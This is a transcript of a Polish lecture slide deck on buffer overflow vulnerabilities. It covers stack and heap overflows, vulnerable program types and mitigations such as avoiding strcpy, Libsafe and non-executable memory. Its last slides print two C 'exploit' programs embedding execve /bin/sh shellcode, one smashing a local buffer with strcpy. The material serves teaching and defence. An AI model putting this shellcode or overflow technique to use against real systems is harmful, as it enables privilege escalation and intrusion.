Błędy związane z przepełnieniem bufora
Transkrypt
Błędy związane z przepełnieniem bufora
Błedy związane z przepełniem bufora Adam Siemion Plan prezentacji ● ● ● ● ● ● ● ● ● Podstawowe pojęcia Jak wykorzystywany jest stos? Przykład błędnego programu Stack buffer overflow Heap buffer overflow Zagrożone programy Jak się zabezpieczać? Exploit #1 i #2 Bibliografia Podstawowe pojęcia ● ● ● ● ● Segment tekstu Segment danych Sterta Stos Bufor – ciągły blok pamięci przechowywujący dane tego samego typu Jak wykorzystywany jest stos? ● ● ● Każde wywołanie funkcji powoduje odłożenie na stosie wartości rejestru IP. Każdy powrót z funkcji powoduje pobranie ze stosu wartości rejestru IP i kontynuowanie wykonywania programu od adresu tej instrukcji. Dane przechowywane na stosie: – – – Zmienne lokalne Parametry funkcji Wskaźnik instrukcji (IP) Zawartość stosu po wywołaniu funkcji void f(int a, int b) { char buf[10]; } int main() { f(1, 2); } Niepoprawny program int main() { char dst[4]; strcpy(dst, "bufor ma tylko 4 bajty"); } Stack buffer overflow Nadpisanie składowanego na stosie rejestru IP, tak aby wskazywał na adres obszaru pamięci – bufora - w którym możemy umieścić własne dane - shellcode. Shellcode ● ● ● ● ● ● Wykonywalny kod Umieszczony w buforze Napisany pod konkretną architekturę Jego zadaniem zwykle jest uruchomienie powłoki Nie może zawierać znaków '\0' Nie znamy dokładnego adresu bufora – używamy instrukcji NOP (0x90) Heap buffer overflow Nadpisanie danych znajdujących się na stercie. ● Dane mogą zawierać informacje np. o haśle dostępu do systemu. ● Zagrożone programy ● ● ● ● Programy działające z uprawnieniami użytkownika root, np. usługi sieciowe Programy wykonywujące się z uprawnieniami właściciela/grupy – SUID/SGID Programy przechowywujące poufne dane, np. bazy danych Programy klienckie usług sieciowych Jak się zabezpieczać? ● ● ● Unikanie funkcji, które nie sprawdzają wielkości bufora: strcat(), strcpy(), sprintf(). Używanie biblioteki dynamicznej, która sprawdza czy może dojść do sytuacji przepełnienia bufora, np. Libsafe. Patch na jądro uniemożliwiający wykonywanie kodu przechowywanego w sekcji danych. Exploit #1 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\ xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x 89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } Exploit #2 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\ xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x 89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer,large_string); } Bibliografia ● ● ● Smashing The Stack For Fun And Profit Aleph One w00w00 on Heap Overflows Matt Conover & w00w00 Security Team http://www.windowsecurity.com/articles/Analysis_o